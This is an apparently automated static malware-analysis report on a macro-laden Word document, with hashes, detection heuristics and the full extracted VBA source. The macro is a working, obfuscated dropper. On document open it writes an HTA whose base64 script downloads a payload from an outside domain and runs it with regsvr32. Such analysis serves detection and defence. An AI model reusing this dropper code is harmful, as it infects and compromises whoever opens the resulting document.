Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8c2d7025d736a23f…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-03-24 04:16:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 4b82688514e7a7320d824a01e5682162 SHA-1: d23aeaaeb67533c8c3f074bc288d81c22620b57e SHA-256: 8c2d7025d736a23ffe7425b079dd4521d2f69bb06be1647281dd9fb6b985a9c8
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set argumentDelete = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set argumentDelete = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4941 bytes
SHA-256: 710342464e3f1b9d800f236bf3e80dc9e1198031c010cc8add0a68343dc58be0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{22D9437A-617B-4FFC-8A80-8C8EE5834846}{CBFAA0AC-9231-4FEB-83FE-8C8EA7AE2B7B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set argumentDelete = CreateObject("wscript.shell")
argumentDelete.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "leftPointerResponse"
Sub autoopen()
variableBuf
End Sub
Sub variableBuf()
Dim indexTempMemory As String
indexTempMemory = frm.cmdButton1.caption
viewListboxWindow indexTempMemory
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "arrayRefLoad"
Function deletePaste()
deletePaste = "<div id='content'>dmFyIGNsZWFyUmVzcG9uc2UgPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTtjbGVhclJlc3BvbnNlLm9wZW4oIkdFVCIsICJodHRwOi8vY29yb25hYmFnMTIzcXEuY29tL2ZkdmRkLzY5ODI1L0dsTGt2VUc1ZktibDhIZklTN2tnR1FxQmljWlBVM1l4Z0tTTno3RGV5dktVcEthci9uVmJKa1cxRX"
End Function
Function sizeFuncTrust()
sizeFuncTrust = "V6RC84NDI1Ni83MjI2My9Edkh0SklEY1F6Yll5TUdoV3kwNkREc1NIZVVBSzNHSFFrRWJDTDh3OS94YXI1P3RpbWU9eHgmT0VLSDc9OGNIb2NwZmVxcjBaTFMmaWQ9UHY5ZFNiTEo3VkZnOXRkZzQyZ0dyayZpZD16R2V3dWdNVGhIRDZIJnNpZD1WM0ZZSTlnamZ1JmhxdkswTHp3OT1Ja1dEV0k1a0dOTlBXYU90OVYmY2lkPUU2NFFzamVNVU"
End Function
Function procedureProcedure()
procedureProcedure = "giLCBmYWxzZSk7Y2xlYXJSZXNwb25zZS5zZW5kKCk7aWYoY2xlYXJSZXNwb25zZS5zdGF0dXMgPT0gMjAwKXt2YXIgcmVxdWVzdE1lbVRtcCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTtyZXF1ZXN0TWVtVG1wLm9wZW47cmVxdWVzdE1lbVRtcC50eXBlID0gMTtyZXF1ZXN0TWVtVG1wLndyaXRlKGNsZWFyUmVzcG9uc2"
End Function
Function WIteratorRight()
WIteratorRight = "UucmVzcG9uc2Vib2R5KTtyZXF1ZXN0TWVtVG1wLnNhdmV0b2ZpbGUoImM6XFx1c2Vyc1xccHVibGljXFxtZW1vcnlUcnVzdFRhYmxlLmpwZyIsIDIpO3JlcXVlc3RNZW1UbXAuY2xvc2U7fQ==|fXspbm90dHVCbWVNbm9pdGNlbGxvYyhoY3RhY307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQueEViaWx7eXJ0O"
End Function
Function mainCollection()
mainCollection = "ykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0geEViaWwgcmF2OykiZ3BqLmVsYmFUdHN1clR5cm9tZW1cXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table'>0123456789+/</div><script langu"
End Function
Function nextQuery()
nextQuery = "age='javascript'>APointer = window;refMemoryW = document;function screenVariableCaption(refPasteLoad){return(new ActiveXObject(refPasteLoad));}function table(){var procedureScreenArgument = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var genericListboxVar = procedureScre"
End Function
Function selectTemp()
selectTemp = "enArgument + procedureScreenArgument.toLowerCase() + refMemoryW.getElementById('table').innerHTML;return(genericListboxVar);}function ExAList(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var dataLocalRef=''; var w=String.fromCharCode; var L=s"
End Function
Function mainTitle()
mainTitle = ".length;var classClass = 'charAt';for(i=0;i<64;i++){e[table()[classClass](i)]=i;}for(x=0;x<L;x++){c=e[s[classClass](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(dataLocalRef+=w(a));}}return(dataLocalRef);};function copyStruct(constO"
End Function
Function screenPointer()
screenPointer = "ptionBuf){return constOptionBuf.split('').reverse().join('');}APointer.resizeTo(1, 1);APointer.moveTo(-100, -100);var titleRequest = refMemoryW.getElementById('content').innerHTML;var titleRequest = titleRequest.split('|');var procCollection = copyStruct(E"
End Function
Function ExArgumentSwap()
ExArgumentSwap = "xAList(titleRequest[0]));var procCollection = copyStruct(procCollection);var tableTemp = copyStruct(ExAList(titleRequest[1]));</script><script language='javascript'>function procBorderLib(argumentEx){var captionRequest = screenVariableCaption('msscriptcont"
End Function
Function referenceException()
referenceException = "rol.scriptcontrol');captionRequest.Language = 'jscript';captionRequest.Timeout = 60000;captionRequest.AddCode(argumentEx);return(null);}</script><script language='vbscript'>procBorderLib procCollection : procBorderLib tableTemp : APointer.close</script>"
End Function
Function memMemoryTitle()
memMemoryTitle = deletePaste + sizeFuncTrust + procedureProcedure + WIteratorRight + mainCollection + nextQuery + selectTemp + mainTitle + screenPointer + ExArgumentSwap + referenceException
End Function

Attribute VB_Name = "WValue"
Sub viewListboxWindow(textboxConst As String)
Open textboxConst For Output As #1
Print #1, memMemoryTitle
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: dc4fd2124cf15fcfa5f561badf5c1ab0d323d5e21011afee2f0afcec34f73a61
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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